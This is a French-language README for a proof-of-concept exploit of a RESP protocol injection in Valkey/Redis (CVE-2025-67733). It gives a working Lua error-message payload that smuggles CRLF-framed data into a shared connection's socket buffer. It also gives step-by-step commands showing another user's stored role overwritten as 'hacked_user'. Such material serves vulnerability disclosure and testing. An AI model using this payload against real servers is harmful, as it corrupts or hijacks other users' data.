
Redis/Valkey RESP Injection PoC (CVE-2025-67733)
Preuve de concept démontrant la vulnérabilité d'injection de protocole RESP via les messages d'erreur de scripts Lua dans Valkey/Redis.
Backend Flask simulant une application web avec une connexion Valkey partagée (pool de connexions).
Endpoints :
| Method | Endpoint | Description |
|---|---|---|
| POST | /api/user/role | Définir le rôle utilisateur |
| GET | /api/user/role | Obtenir le rôle utilisateur |
| POST | /api/process | Exécuter un script Lua |
Utilisation :
python backend.py <Valkey host> <Valkey port> [password]
# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword
Injecte des données RESP malveillantes dans le tampon de socket via le message d'erreur d'un script Lua.
Payload :
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))
Utilisation :
python attacker_client.py
Client légitime qui définit et récupère les rôles utilisateur.
Utilisation :
python victim_client.py set # Set role to "normal_user"
python victim_client.py get # Get current role
pip install flask requests
Terminal 1 - Lancer le backend :
python backend.py 127.0.0.1 6379
Terminal 2 - Définir le rôle :
python victim_client.py set
# Output: 'role':'normal_user' has been set.
python victim_client.py get
# Output: 'role':'normal_user'
Terminal 3 - Attaque :
python attacker_client.py
# Output: Socket poisoning successful
Terminal 2 - Obtenir le rôle (après l'attaque) :
python victim_client.py get
# Output: 'role':'hacked_user'
1. Victim sets role
victim_client.py set --> backend --> Valkey
SET user:user:role "normal_user"
2. Attacker injects payload
attacker_client.py --> backend --> Valkey
EVAL 'error(...)' 0
Backend reads: "-ERR INJECTED\r\n"
Buffer remains: "$11\r\nhacked_user"
3. Victim gets role
victim_client.py get --> backend --> Valkey
GET user:user:role
Backend reads from buffer: "$11\r\nhacked_user"
Victim receives: "hacked_user"